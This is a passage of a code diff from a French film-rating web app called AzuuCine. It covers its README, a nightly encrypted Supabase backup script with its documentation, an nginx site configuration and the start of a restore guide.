Le `.env` n'est jamais publié (il est dans `.gitignore`).
|
||||
5. **Les fonctions serveur + ta clé TMDB** (dans le dossier du projet, PowerShell) :
|
||||
```powershell
|
||||
npx.cmd supabase login
|
||||
npx.cmd supabase link --project-ref <l'identifiant du projet, dans l'adresse du tableau de bord>
|
||||
npx.cmd supabase secrets set TMDB_API_KEY=<ta clé ou ton jeton TMDB> ALLOWED_ORIGINS=https://azuucine.rdacet.fr,http://localhost:5173
|
||||
npx.cmd supabase functions deploy tmdb --no-verify-jwt
|
||||
npx.cmd supabase functions deploy delete-account --no-verify-jwt
|
||||
```
|
||||
(`--no-verify-jwt` : la connexion est vérifiée dans le code de chaque fonction.) Pour changer la clé TMDB plus tard,
|
||||
relance juste la commande `secrets set`.
|
||||
5 bis. **Profils et abonnements** : dans *SQL Editor*, colle et lance aussi `supabase/migrations/20261002120000_social.sql`
|
||||
(tables des profils, abonnements, fil d'activité, et stockage des photos). Relance ensuite
|
||||
`npx.cmd supabase functions deploy delete-account --project-ref <id> --no-verify-jwt --use-api` pour que la suppression
|
||||
d'un compte efface aussi ses photos.
|
||||
6. **Relance l'app** (`npm run dev`) : l'écran de connexion apparaît. Crée ton compte ; dans *Réglages*, AzuuCine te
|
||||
propose d'ajouter à ton compte les titres déjà présents sur l'appareil.
|
||||
7. **En ligne** : sur le VPS (voir « Déploiement automatique »), Netlify ou Cloudflare Pages, ajoute `VITE_SUPABASE_URL` et `VITE_SUPABASE_ANON_KEY` dans les
|
||||
variables d'environnement du site (le `.env` n'y est pas envoyé), ou fais `npm run build` sur ton PC avec le `.env`
|
||||
et glisse le dossier `dist/`.
|
||||
|
||||
À savoir : sur l'offre gratuite, un projet Supabase **sans aucune visite pendant 7 jours** est mis en pause (rien n'est
|
||||
perdu, tu le relances depuis le tableau de bord). L'app continue de marcher hors-ligne en attendant.
|
||||
|
||||
## 1. Lancer l'app sur ton PC
|
||||
|
||||
Prérequis : [Node.js](https://nodejs.org) 20 ou plus récent.
|
||||
|
||||
```bash
|
||||
cd AzuuCine
|
||||
npm install
|
||||
npm run dev
|
||||
```
|
||||
|
||||
Ouvre ensuite `http://localhost:5173` dans ton navigateur (mode mobile des outils de développement conseillé : F12 → icône téléphone).
|
||||
|
||||
> Pour un test rapide sur ton téléphone connecté au même Wi-Fi, lance `npm run dev:mobile` puis ouvre l'adresse « Network » affichée dans le terminal (ex. `http://192.168.1.20:5173`).
|
||||
> Attention : en `http://`, le mode hors-ligne et l'installation « vraie » ne fonctionnent pas — c'est normal, il faut du HTTPS (étape 2).
|
||||
|
||||
## Recherche dans les bases de films
|
||||
|
||||
Quand tu ajoutes un titre, un champ **« Remplir depuis une base »** permet de le chercher et de préremplir la fiche
|
||||
(titres, type, année, genres, synopsis, nombre et durée des épisodes, durée du film, plateforme en France, affiche).
|
||||
Ta note, ton statut, tes épisodes vus et ton avis ne sont jamais écrasés.
|
||||
|
||||
- **Animes → AniList** : fonctionne tout de suite, sans compte. Les synopsis sont en anglais.
|
||||
- **Films, séries, K-dramas, C-dramas → TMDB** : il faut une clé gratuite.
|
||||
1. Crée un compte sur https://www.themoviedb.org
|
||||
2. Paramètres du compte → **API** → demande une clé (usage personnel).
|
||||
3. Copie la **« Clé d'API »** (ou le « Jeton d'accès en lecture ») dans AzuuCine → Réglages → Bases de films → Valider.
|
||||
|
||||
La clé reste sur l'appareil (à saisir sur chaque téléphone) et n'est jamais incluse dans les exports.
|
||||
Seul le texte recherché est envoyé à TMDB / AniList ; ta bibliothèque reste locale.
|
||||
|
||||
## 2. Mettre l'app en ligne (gratuit, HTTPS)
|
||||
|
||||
Une PWA installable a besoin d'être servie en **HTTPS**. L'hébergeur ne sert que les fichiers de l'app
|
||||
(les données sont dans Supabase avec les comptes, ou sur le téléphone en mode local).
|
||||
|
||||
```bash
|
||||
npm run build
|
||||
```
|
||||
|
||||
Cela crée un dossier `dist/`. Il est publié automatiquement sur mon VPS (voir ci-dessous) ; tu peux aussi le glisser sur
|
||||
n'importe quel hébergeur statique (Netlify Drop, Cloudflare Pages, Vercel…).
|
||||
|
||||
### Déploiement automatique (VPS + Gitea Actions)
|
||||
|
||||
À chaque push sur `main`, le workflow `.gitea/workflows/deploy.yml` fait `npm ci`, `npm run build`, puis publie `dist/`
|
||||
sur le VPS, sur **https://azuucine.rdacet.fr**.
|
||||
|
||||
- **Architecture** (conteneurs LXC) : `azuucine-ci` (runner Gitea Actions, utilisateur `deploy` sans sudo, seul à pouvoir
|
||||
écrire dans `/srv/azuucine`) → dossier partagé `/srv/azuucine` → `azuucine-web` (nginx, lecture seule) → `proxy`
|
||||
(nginx + certbot, HTTPS).
|
||||
- **Variables de build** (publiques) : dans Gitea → Dépôt → Paramètres → Actions, variable `VITE_SUPABASE_URL` et secret
|
||||
`VITE_SUPABASE_ANON_KEY`. Si elles manquent, le build **échoue** (`REQUIRE_SUPABASE=1` active la garde de
|
||||
`vite.config.ts`). Les vrais secrets (clé TMDB, `service_role`) restent dans Supabase.
|
||||
- **En-têtes de sécurité** : définis une seule fois dans `vite.config.ts` (CSP, HSTS, etc.). `deploy/headers-to-nginx.mjs`
|
||||
convertit `dist/_headers` en configuration nginx à chaque déploiement : rien à recopier à la main.
|
||||
- **Versions** : les 3 dernières sont gardées dans `/srv/azuucine/releases/`, `current` pointe sur la version en ligne.
|
||||
- **Retour arrière** (en root sur le VPS) : `/srv/azuucine/rollback.sh` revient à la version précédente,
|
||||
`/srv/azuucine/rollback.sh <nom-de-version>` à une version précise (`ls /srv/azuucine/releases`).
|
||||
- **Supabase** : ajoute `https://azuucine.rdacet.fr` à *Authentication → URL Configuration* (Site URL et Redirect URLs),
|
||||
au secret `ALLOWED_ORIGINS` des Edge Functions, et aux origines autorisées du client OAuth Google.
|
||||
|
||||
## 3. Installer sur l'écran d'accueil
|
||||
|
||||
### iPhone (Safari obligatoire)
|
||||
1. Ouvre l'adresse HTTPS de ton app dans **Safari**.
|
||||
2. Touche le bouton **Partager** (carré avec une flèche vers le haut).
|
||||
3. Choisis **« Sur l'écran d'accueil »**, puis **Ajouter**.
|
||||
4. Lance AzuuCine depuis l'icône : elle s'ouvre en plein écran, comme une app.
|
||||
|
||||
### Android (Chrome)
|
||||
1. Ouvre l'adresse HTTPS dans **Chrome**.
|
||||
2. Touche le menu **⋮** → **« Installer l'application »** (ou « Ajouter à l'écran d'accueil »).
|
||||
3. Confirme : l'icône AzuuCine apparaît dans tes applications.
|
||||
|
||||
## ⚠️ À savoir sur les données
|
||||
|
||||
- **Avec un compte** : tes données sont dans ton compte et sur chaque appareil connecté. Les modifications faites
|
||||
hors-ligne partent dès que le réseau revient (Réglages → Mon compte indique l'état). L'export JSON reste utile comme
|
||||
sauvegarde personnelle.
|
||||
- **En mode local** : les données sont propres à chaque appareil et à chaque navigateur ; désinstaller l'app ou effacer les
|
||||
données du navigateur supprime la bibliothèque, pense à exporter régulièrement.
|
||||
- Sur iPhone, l'app installée sur l'écran d'accueil a **son propre stockage**, distinct de Safari. Utilise toujours l'app installée.
|
||||
|
||||
## Fonctionnalités
|
||||
|
||||
- **Profils et abonnements** (avec un compte) : photo de profil, bannière, nom, pseudo et bio ; s'abonner à d'autres membres comme sur Letterboxd ; leur profil montre leur Top 5, leurs derniers visionnages, leurs stats et leur bibliothèque (avis écrits privés, sauf ceux cochés « Afficher cet avis sur mon profil ») ; compte privé avec demandes d'abonnement ; fil « Mes abonnements » sur l'accueil ; recherche par pseudo ; lien de profil à partager (`…/#/u/pseudo`)
|
||||
- **9 langues** (Réglages → Langue, détectée automatiquement au premier lancement) : français, anglais, espagnol, italien, allemand, portugais (Brésil), chinois simplifié, japonais, coréen. Les dates, les nombres et les infos TMDB suivent la langue choisie. Les textes sont dans `src/i18n/locales/` (le français fait référence).
|
||||
- **Comptes** : inscription par email, synchronisation automatique entre appareils, fonctionne hors-ligne, mot de passe oublié, suppression du compte
|
||||
|
||||
- Fiches : titre + titre original, type (Film, Série, Anime, K-Drama, C-Drama, Autre + précision), année, affiche (photo de la galerie compressée ou URL)
|
||||
- Statut : À voir / En cours / Terminé / En pause / Abandonné (dates de début/fin remplies automatiquement)
|
||||
- Note sur 5 étoiles (demi-étoiles) ou sur 10, au choix dans les réglages, + 4 critères détaillés optionnels + coup de cœur
|
||||
- Suivi des épisodes : vus / total, saison, durée par épisode, bouton **+1** depuis l'accueil et le catalogue (passe en « Terminé » au dernier épisode)
|
||||
- Genres/tags libres avec suggestions, plateforme, avis personnel
|
||||
- Accueil : stats rapides, **roulette** (tirage au sort animé parmi « À voir », « En pause » ou mes préférés à revoir, filtrable par type, temps dispo, genre, plateforme), « En cours », Top 5, « À voir », « Récemment terminés »
|
||||
- Catalogue : recherche instantanée (titre, titre original, tag, plateforme — sans tenir compte des accents), filtres type/statut/genre/note/coups de cœur, tris
|
||||
- **Suggestions « Si tu as aimé… »** à partir de tes titres préférés, ajout en un clic à « À voir »
|
||||
- **Listes perso** (Catalogue → Listes), utilisables aussi comme source de la roulette
|
||||
- **Carrousels** utilisables à la souris sur ordinateur (molette ou glisser)
|
||||
- **Statistiques visuelles** : filtre par année, onglets Vue d'ensemble / Habitudes / Goûts, heures, types, mois par mois, records, notes, genres, pays
|
||||
- **Partage en image** d'une fiche ou d'un Top 5 (story / message)
|
||||
- **Calendrier des sorties** (bouton en haut de l'accueil) : toutes les sorties à venir — films au cinéma en France, épisodes des séries et K/C-dramas les plus suivis (TMDB), tous les épisodes d'animes diffusés (AniList) — filtrables par catégorie, avec ajout en un clic à « À voir ». Onglet « Mes titres » pour ne voir que ta bibliothèque
|
||||
- **Journal** (Catalogue → Journal) : ton historique de visionnage mois par mois, avec les **revisionnages** (section « Revisionnages » d'une fiche terminée)
|
||||
- **Moi vs le public** (Stats → Goûts) : ta note comparée à la moyenne TMDB / AniList, écart moyen, titres que tu as plus ou moins aimés que tout le monde
|
||||
- Export / import JSON (fusion ou remplacement), validation des fichiers importés
|
||||
|
||||
## Scripts
|
||||
|
||||
| Commande | Rôle |
|
||||
|---|---|
|
||||
| `npm run dev` | serveur de développement (uniquement sur ce PC) |
|
||||
| `npm run dev:mobile` | serveur de développement ouvert au Wi-Fi (test sur téléphone) |
|
||||
| `npm run audit` | vérifie les failles connues des dépendances |
|
||||
| `npm run build` | build de production dans `dist/` |
|
||||
| `npm run preview` | prévisualiser le build |
|
||||
| `npm run typecheck` | vérification TypeScript |
|
||||
Appli de notation de film, série et autre
|
||||
@@ -0,0 +1,114 @@
|
||||
# Sauvegardes automatiques de la base (Supabase → VPS)
|
||||
|
||||
Chaque nuit à 02:17 UTC, le workflow `.gitea/workflows/backup.yml` lance `deploy/backup.sh` sur le
|
||||
runner `azuucine` (le VPS) :
|
||||
|
||||
1. `pg_dump` de toute la base (format custom compressé : tables, données, fonctions, policies RLS,
|
||||
comptes `auth.users`), via la connexion **Session pooler IPv4** de Supabase ;
|
||||
2. **contrôles** : taille minimale, dump lisible par `pg_restore`, présence des tables `items`,
|
||||
`profiles`, `follows`, `settings` et `auth.users` — sinon le job **échoue** (croix rouge dans Gitea) ;
|
||||
3. **chiffrement** gpg symétrique AES-256 avec `BACKUP_PASSPHRASE`, puis vérification que le fichier
|
||||
se déchiffre bien ;
|
||||
4. rangement dans `/srv/backups/azuucine/` (dossier en `700`) et **rotation** :
|
||||
7 quotidiennes, 4 hebdomadaires, 6 mensuelles (liens physiques : une même sauvegarde n'occupe
|
||||
la place qu'une fois).
|
||||
|
||||
Les secrets ne sont jamais dans le dépôt ni affichés dans les logs ; le mot de passe de la base passe
|
||||
par `PGPASSWORD` (pas sur la ligne de commande).
|
||||
|
||||
Pour restaurer : **`deploy/restore.md`**.
|
||||
|
||||
## Mise en place (une seule fois)
|
||||
|
||||
### 1. Chaîne de connexion Supabase
|
||||
|
||||
Supabase → projet `qfgnxonqwldcfdjqhhjz` → **Connect** → **Session pooler** (IPv4, port 5432) :
|
||||
|
||||
```
|
||||
postgresql://postgres.qfgnxonqwldcfdjqhhjz:[YOUR-PASSWORD]@aws-0-<région>.pooler.supabase.com:5432/postgres
|
||||
```
|
||||
|
||||
Remplacer `[YOUR-PASSWORD]` par le mot de passe de la base (Project Settings → Database → Reset
|
||||
database password si tu ne l'as plus ; **les caractères spéciaux doivent être encodés en %XX**,
|
||||
ex. `@` → `%40`, ou choisir un mot de passe sans caractères spéciaux, long).
|
||||
|
||||
> Pourquoi le *Session pooler* : la connexion directe `db.<ref>.supabase.co` est en IPv6 seulement ;
|
||||
> le pooler « session » est IPv4 et accepte `pg_dump` (le pooler « transaction », port 6543, non).
|
||||
|
||||
### 2. Phrase de chiffrement
|
||||
|
||||
Générer une phrase longue et la ranger **dans ton gestionnaire de mots de passe** (si le VPS meurt,
|
||||
c'est la seule façon de relire les sauvegardes copiées ailleurs) :
|
||||
|
||||
```bash
|
||||
openssl rand -base64 32
|
||||
```
|
||||
|
||||
### 3. Secrets Gitea
|
||||
|
||||
Dépôt `romain/kino` → **Paramètres → Actions → Secrets** :
|
||||
|
||||
| Nom | Valeur |
|
||||
| --- | --- |
|
||||
| `SUPABASE_DB_URL` | la chaîne de l'étape 1 |
|
||||
| `BACKUP_PASSPHRASE` | la phrase de l'étape 2 |
|
||||
|
||||
Optionnel, **Variables** : `BACKUP_DIR` (défaut `/srv/backups/azuucine`).
|
||||
|
||||
### 4. Préparer le VPS (en root, une fois)
|
||||
|
||||
Le runner tourne avec l'utilisateur `deploy` (sans sudo). Il lui faut un client Postgres **de la même
|
||||
version majeure que Supabase ou plus récent** (Supabase → Project Settings → Infrastructure ; 15 ou 17),
|
||||
`gpg`, et le dossier des sauvegardes :
|
||||
|
||||
```bash
|
||||
# Client Postgres officiel (dépôt PGDG), ex. version 17
|
||||
apt-get install -y gnupg postgresql-common
|
||||
/usr/share/postgresql-common/pgdg/apt.postgresql.org.sh -y
|
||||
apt-get install -y postgresql-client-17
|
||||
|
||||
# Dossier dédié, hors de /srv/azuucine (qui est monté dans le conteneur web)
|
||||
install -d -m 700 -o deploy -g deploy /srv/backups/azuucine
|
||||
```
|
||||
|
||||
Alternative sans installer le client : si l'utilisateur `deploy` peut lancer Docker, le script utilise
|
||||
automatiquement l'image `postgres:17-alpine` quand le `pg_dump` local manque ou est trop ancien.
|
||||
|
||||
### 5. Premier lancement
|
||||
|
||||
Gitea → **Actions → backup → Run workflow**. Le log doit finir par :
|
||||
|
||||
```
|
||||
sauvegarde OK : azuucine-AAAAMMJJ-HHMMSS.dump.gpg (… octets chiffrés, … tables de données)
|
||||
daily : 1
|
||||
weekly : 1
|
||||
monthly : 1
|
||||
```
|
||||
|
||||
Puis **tester une restauration** dans une base jetable (`deploy/restore.md`, cas a). Une sauvegarde
|
||||
jamais testée n'est pas une sauvegarde.
|
||||
|
||||
## Surveillance
|
||||
|
||||
- Un échec rend le job rouge dans Gitea : active les **notifications par e-mail des Actions** dans
|
||||
ton profil Gitea (Paramètres → Notifications) pour être prévenu.
|
||||
- `/srv/backups/azuucine/.last-success` contient la date de la dernière sauvegarde réussie.
|
||||
- Le job ne touche pas aux sauvegardes existantes s'il échoue.
|
||||
|
||||
## Recommandé : une copie hors du VPS
|
||||
|
||||
Les sauvegardes sur le VPS protègent contre une erreur côté Supabase (fausse manip, projet supprimé),
|
||||
pas contre la perte du VPS. Les fichiers étant chiffrés, on peut les copier n'importe où sans risque,
|
||||
par exemple chaque semaine depuis un autre ordinateur :
|
||||
|
||||
```bash
|
||||
rsync -a deploy@<vps>:/srv/backups/azuucine/weekly/ ~/Sauvegardes/azuucine/
|
||||
```
|
||||
|
||||
## Lancer une sauvegarde à la main (sur le VPS)
|
||||
|
||||
```bash
|
||||
export SUPABASE_DB_URL='postgresql://…' # ou lu depuis un fichier en 600
|
||||
read -rs BACKUP_PASSPHRASE && export BACKUP_PASSPHRASE
|
||||
bash deploy/backup.sh
|
||||
```
|
||||
Executable
+129
@@ -0,0 +1,129 @@
|
||||
#!/usr/bin/env bash
|
||||
# Sauvegarde chiffrée de la base Supabase d'AzuuCine, avec rotation.
|
||||
# Lancé chaque nuit par .gitea/workflows/backup.yml (runner "azuucine", sur le VPS).
|
||||
#
|
||||
# Variables (secrets Gitea, JAMAIS dans le dépôt) :
|
||||
# SUPABASE_DB_URL postgresql://postgres.<ref>:<mot de passe>@aws-0-<région>.pooler.supabase.com:5432/postgres
|
||||
# (Supabase -> Connect -> « Session pooler », IPv4)
|
||||
# BACKUP_PASSPHRASE phrase de chiffrement (gpg symétrique AES-256) — à garder AUSSI hors du VPS
|
||||
# Optionnelles :
|
||||
# BACKUP_DIR dossier des sauvegardes (défaut : /srv/backups/azuucine)
|
||||
# PG_IMAGE image Docker du client Postgres si pg_dump local trop ancien (défaut : postgres:17-alpine)
|
||||
# KEEP_DAILY / KEEP_WEEKLY / KEEP_MONTHLY (défaut : 7 / 4 / 6)
|
||||
# MIN_DUMP_BYTES taille minimale d'un dump valide (défaut : 20000)
|
||||
#
|
||||
# Restauration : voir deploy/restore.md. Procédure complète : deploy/BACKUP.md.
|
||||
set -Eeuo pipefail
|
||||
umask 077
|
||||
|
||||
fail() { echo "ÉCHEC SAUVEGARDE : $*" >&2; exit 1; }
|
||||
trap 'fail "erreur inattendue (ligne $LINENO)"' ERR
|
||||
|
||||
: "${SUPABASE_DB_URL:?SUPABASE_DB_URL manquante (secret Gitea)}"
|
||||
: "${BACKUP_PASSPHRASE:?BACKUP_PASSPHRASE manquante (secret Gitea)}"
|
||||
[ "${#BACKUP_PASSPHRASE}" -ge 16 ] || fail "BACKUP_PASSPHRASE trop courte (16 caractères minimum)"
|
||||
BACKUP_DIR=${BACKUP_DIR:-/srv/backups/azuucine}
|
||||
PG_IMAGE=${PG_IMAGE:-postgres:17-alpine}
|
||||
KEEP_DAILY=${KEEP_DAILY:-7}
|
||||
KEEP_WEEKLY=${KEEP_WEEKLY:-4}
|
||||
KEEP_MONTHLY=${KEEP_MONTHLY:-6}
|
||||
MIN_DUMP_BYTES=${MIN_DUMP_BYTES:-20000}
|
||||
command -v gpg >/dev/null || fail "gpg absent (apt install gnupg)"
|
||||
|
||||
# ── Connexion : le mot de passe passe par PGPASSWORD, jamais sur la ligne de commande (visible dans ps) ──
|
||||
re='^(postgres(ql)?://)([^:/@]+):([^@]*)@(.+)$'
|
||||
[[ "$SUPABASE_DB_URL" =~ $re ]] || fail "SUPABASE_DB_URL mal formée (attendu postgresql://user:motdepasse@hôte:port/base)"
|
||||
DB_URL="${BASH_REMATCH[1]}${BASH_REMATCH[3]}@${BASH_REMATCH[5]}"
|
||||
pw=${BASH_REMATCH[4]}
|
||||
PGPASSWORD=$(printf '%b' "${pw//%/\\x}") # décodage des %XX éventuels
|
||||
export PGPASSWORD
|
||||
export PGSSLMODE=${PGSSLMODE:-require}
|
||||
export PGCONNECT_TIMEOUT=20
|
||||
unset pw
|
||||
|
||||
mkdir -p "$BACKUP_DIR"/{daily,weekly,monthly}
|
||||
chmod 700 "$BACKUP_DIR" "$BACKUP_DIR"/{daily,weekly,monthly}
|
||||
WORK=$(mktemp -d "$BACKUP_DIR/.work.XXXXXX")
|
||||
cleanup() { rm -rf "$WORK"; }
|
||||
trap cleanup EXIT
|
||||
|
||||
# ── Client Postgres : pg_dump local s'il est assez récent (>= version du serveur), sinon Docker ──
|
||||
pg() { # pg <commande> <args…> — exécute un outil client Postgres
|
||||
if [ "${USE_DOCKER:-0}" = 1 ]; then
|
||||
docker run --rm -i --network host --user "$(id -u):$(id -g)" \
|
||||
-e PGPASSWORD -e PGSSLMODE -e PGCONNECT_TIMEOUT -v "$WORK:$WORK" -w "$WORK" "$PG_IMAGE" "$@"
|
||||
else
|
||||
"$@"
|
||||
fi
|
||||
}
|
||||
server_major() { pg psql -X -At -d "$DB_URL" -c 'show server_version_num' | cut -c1-2; }
|
||||
|
||||
USE_DOCKER=0
|
||||
if command -v pg_dump >/dev/null && command -v psql >/dev/null; then
|
||||
local_major=$(pg_dump --version | grep -oE '[0-9]+' | head -1)
|
||||
srv=$(server_major) || fail "connexion à la base impossible (URL, mot de passe, réseau IPv4 ?)"
|
||||
if [ "$local_major" -lt "$srv" ]; then
|
||||
command -v docker >/dev/null || fail "pg_dump $local_major < serveur $srv et Docker absent : installe postgresql-client-$srv"
|
||||
USE_DOCKER=1
|
||||
fi
|
||||
else
|
||||
command -v docker >/dev/null || fail "ni pg_dump ni Docker : installe postgresql-client (même version que Supabase) ou Docker"
|
||||
USE_DOCKER=1
|
||||
srv=$(server_major) || fail "connexion à la base impossible (URL, mot de passe, réseau IPv4 ?)"
|
||||
fi
|
||||
echo "serveur Postgres $srv · client $([ "$USE_DOCKER" = 1 ] && echo "Docker $PG_IMAGE" || echo "local $local_major")"
|
||||
|
||||
# ── Dump (format « custom » : compressé, restauration sélective possible avec pg_restore) ──
|
||||
STAMP=$(date -u +%Y%m%d-%H%M%S)
|
||||
DUMP="$WORK/azuucine-$STAMP.dump"
|
||||
pg pg_dump -d "$DB_URL" --format=custom --compress=9 --no-owner --no-privileges \
|
||||
--exclude-table-data='auth.audit_log_entries' --file "$DUMP" \
|
||||
|| fail "pg_dump a échoué"
|
||||
|
||||
# ── Contrôles : le dump doit exister, avoir une taille plausible et contenir les tables de l'app ──
|
||||
[ -s "$DUMP" ] || fail "dump vide"
|
||||
size=$(stat -c %s "$DUMP")
|
||||
[ "$size" -ge "$MIN_DUMP_BYTES" ] || fail "dump trop petit ($size octets < $MIN_DUMP_BYTES) : base vide ou dump incomplet ?"
|
||||
pg pg_restore --list "$DUMP" > "$WORK/toc.txt" || fail "dump illisible par pg_restore"
|
||||
for tbl in items profiles follows settings; do
|
||||
grep -qE "TABLE DATA public $tbl " "$WORK/toc.txt" || fail "table public.$tbl absente du dump"
|
||||
done
|
||||
grep -qE "TABLE DATA auth users " "$WORK/toc.txt" || fail "table auth.users absente du dump"
|
||||
entries=$(grep -c 'TABLE DATA' "$WORK/toc.txt")
|
||||
|
||||
# ── Chiffrement (gpg symétrique AES-256 ; la phrase passe par un descripteur, pas par la ligne de commande) ──
|
||||
ENC="$DUMP.gpg"
|
||||
gpg --batch --yes --quiet --pinentry-mode loopback --passphrase-fd 3 \
|
||||
--symmetric --cipher-algo AES256 --s2k-digest-algo SHA512 --s2k-count 65011712 --compress-algo none \
|
||||
--output "$ENC" "$DUMP" 3<<<"$BACKUP_PASSPHRASE" || fail "chiffrement impossible"
|
||||
# Vérification : le fichier chiffré se déchiffre et redonne exactement le dump
|
||||
gpg --batch --quiet --pinentry-mode loopback --passphrase-fd 3 --decrypt "$ENC" 3<<<"$BACKUP_PASSPHRASE" \
|
||||
| cmp -s - "$DUMP" || fail "vérification du déchiffrement échouée"
|
||||
sha256sum "$ENC" | sed "s# .*/# #" > "$ENC.sha256"
|
||||
rm -f "$DUMP"
|
||||
|
||||
# ── Rangement + rotation (7 quotidiennes, 4 hebdomadaires, 6 mensuelles ; liens physiques = pas de doublon disque) ──
|
||||
name=$(basename "$ENC")
|
||||
mv "$ENC" "$ENC.sha256" "$BACKUP_DIR/daily/"
|
||||
newest() { { ls -1 "$1"/*.gpg 2>/dev/null || true; } | sort | tail -1; }
|
||||
age_days() { echo $(( ( $(date -u +%s) - $(stat -c %Y "$1") ) / 86400 )); }
|
||||
w=$(newest "$BACKUP_DIR/weekly")
|
||||
if [ -z "$w" ] || [ "$(age_days "$w")" -ge 7 ]; then
|
||||
ln -f "$BACKUP_DIR/daily/$name" "$BACKUP_DIR/weekly/$name"
|
||||
ln -f "$BACKUP_DIR/daily/$name.sha256" "$BACKUP_DIR/weekly/$name.sha256"
|
||||
fi
|
||||
m=$(newest "$BACKUP_DIR/monthly")
|
||||
if [ -z "$m" ] || [ "$(basename "$m" | cut -c10-15)" != "$(date -u +%Y%m)" ]; then
|
||||
ln -f "$BACKUP_DIR/daily/$name" "$BACKUP_DIR/monthly/$name"
|
||||
ln -f "$BACKUP_DIR/daily/$name.sha256" "$BACKUP_DIR/monthly/$name.sha256"
|
||||
fi
|
||||
prune() { # prune <dossier> <nombre à garder>
|
||||
{ ls -1 "$1"/*.gpg 2>/dev/null || true; } | sort -r | tail -n +$(( $2 + 1 )) | while read -r f; do rm -f "$f" "$f.sha256"; done
|
||||
}
|
||||
prune "$BACKUP_DIR/daily" "$KEEP_DAILY"
|
||||
prune "$BACKUP_DIR/weekly" "$KEEP_WEEKLY"
|
||||
prune "$BACKUP_DIR/monthly" "$KEEP_MONTHLY"
|
||||
|
||||
date -u +%FT%TZ > "$BACKUP_DIR/.last-success"
|
||||
echo "sauvegarde OK : $name ($(stat -c %s "$BACKUP_DIR/daily/$name") octets chiffrés, $entries tables de données)"
|
||||
for d in daily weekly monthly; do echo " $d : $({ ls -1 "$BACKUP_DIR/$d"/*.gpg 2>/dev/null || true; } | wc -l)"; done
|
||||
@@ -0,0 +1,35 @@
|
||||
# Configuration nginx du site AzuuCine (conteneur azuucine-web).
|
||||
# Livrée avec chaque release (copiée par deploy/release.sh) et lue via /srv/azuucine/current/nginx/site.conf :
|
||||
# la configuration vit donc dans le dépôt, et un conteneur recréé la récupère au premier déploiement.
|
||||
# Les en-têtes de sécurité (security-headers.conf, locations.conf) sont, eux, générés depuis dist/_headers.
|
||||
server {
|
||||
listen 80 default_server;
|
||||
server_name azuucine.rdacet.fr _;
|
||||
server_tokens off;
|
||||
|
||||
root /srv/azuucine/current/dist;
|
||||
index index.html;
|
||||
|
||||
# Adresse inconnue : vraie réponse 404 avec une page dédiée
|
||||
error_page 404 /404.html;
|
||||
|
||||
# nginx ne connaît pas .webmanifest : sans cette ligne, le manifest du PWA est servi en octet-stream
|
||||
include /etc/nginx/mime.types;
|
||||
types { application/manifest+json webmanifest; }
|
||||
|
||||
# Règles par chemin issues de _headers (ex. /sw.js -> no-cache)
|
||||
include /srv/azuucine/current/nginx/locations.conf;
|
||||
|
||||
# Fichiers hashés : cache immuable
|
||||
location /assets/ {
|
||||
include /srv/azuucine/current/nginx/security-headers.conf;
|
||||
add_header Cache-Control "public, max-age=31536000, immutable" always;
|
||||
try_files $uri =404;
|
||||
}
|
||||
|
||||
location / {
|
||||
include /srv/azuucine/current/nginx/security-headers.conf;
|
||||
add_header Cache-Control "public, max-age=0, must-revalidate" always;
|
||||
try_files $uri $uri/ =404;
|
||||
}
|
||||
}
|
||||
@@ -13,6 +13,7 @@ REL="$ROOT/releases/$(date -u +%Y%m%d%H%M%S)-${SHA:0:8}"
|
||||
mkdir -p "$REL"
|
||||
cp -a "$SRC" "$REL/dist"
|
||||
node "$HERE/headers-to-nginx.mjs" "$REL/dist/_headers" "$REL/nginx"
|
||||
cp "$HERE/nginx/site.conf" "$REL/nginx/site.conf" # config nginx du site, versionnée dans le dépôt
|
||||
|
||||
# bascule atomique : lien relatif temporaire puis rename
|
||||
ln -s "releases/$(basename "$REL")" "$ROOT/current.tmp"
|
||||
|
||||
@@ -0,0 +1,97 @@
|
||||
# Restaurer une sauvegarde de la base AzuuCine
|
||||
|
||||
Les sauvegardes sont produites chaque nuit par `deploy/backup.sh` (workflow `.gitea/workflows/backup.yml`)
|
||||
dans `/srv/backups/azuucine/{daily,weekly,monthly}/` sur le VPS :
|
||||
|
||||
```
|
||||
azuucine-AAAAMMJJ-HHMMSS.dump.gpg dump pg_dump (format custom, compressé) chiffré AES-256 (gpg symétrique)
|
||||
azuucine-AAAAMMJJ-HHMMSS.dump.gpg.sha256 empreinte du fichier chiffré
|
||||
```
|
||||
|
||||
Il faut la **phrase de chiffrement** (`BACKUP_PASSPHRASE`, gardée dans ton gestionnaire de mots de passe) :
|
||||
sans elle, la sauvegarde est illisible — c'est voulu.
|
||||
|
||||
> ⚠️ Toujours **tester d'abord sur un projet Supabase de test** (ou une base Postgres locale), jamais
|
||||
> directement sur la production. Une restauration remplace des données : fais d'abord une sauvegarde
|
||||
> de l'état actuel (`bash deploy/backup.sh` à la main, voir BACKUP.md).
|
||||
|
||||
## 1. Récupérer et déchiffrer
|
||||
|
||||
```bash
|
||||
cd /srv/backups/azuucine/daily # ou weekly / monthly
|
||||
ls -1 # choisir le fichier
|
||||
F=azuucine-20261009-021703.dump.gpg
|
||||
sha256sum -c "$F.sha256" # doit afficher : OK
|
||||
|
||||
# Déchiffrer (la phrase est demandée ; rien n'est écrit dans l'historique du shell)
|
||||
umask 077
|
||||
gpg --decrypt --output /tmp/azuucine.dump "$F"
|
||||
|
||||
# Contenu du dump (liste des tables, fonctions, policies…)
|
||||
pg_restore --list /tmp/azuucine.dump | less
|
||||
```
|
||||
|
||||
Le client Postgres doit être **de la même version majeure que Supabase, ou plus récent**
|
||||
(`pg_restore --version`). Sinon, via Docker :
|
||||
`docker run --rm -it --network host -v /tmp:/tmp postgres:17-alpine pg_restore --list /tmp/azuucine.dump`
|
||||
|
||||
## 2. Cas courants
|
||||
|
||||
La connexion se fait avec la chaîne **Session pooler** (Supabase → Connect), mot de passe dans `PGPASSWORD` :
|
||||
|
||||
```bash
|
||||
export PGPASSWORD='…' # mot de passe de la base (pas dans l'URL)
|
||||
export PGSSLMODE=require
|
||||
DB='postgresql://postgres.<ref>@aws-0-<région>.pooler.supabase.com:5432/postgres'
|
||||
```
|
||||
|
||||
### a) Récupérer les données d'un seul compte ou d'une seule table (le plus fréquent)
|
||||
|
||||
Restaurer le dump dans une **base locale** jetable, puis copier ce qu'il faut :
|
||||
|
||||
```bash
|
||||
createdb azuu_restore
|
||||
pg_restore --no-owner --no-privileges -d azuu_restore --schema=public /tmp/azuucine.dump
|
||||
psql -d azuu_restore -c "select id, data->>'title' from public.items where user_id = '<uuid>'"
|
||||
```
|
||||
|
||||
(Les erreurs « role … does not exist » / « schema auth does not exist » sur une base locale sont normales :
|
||||
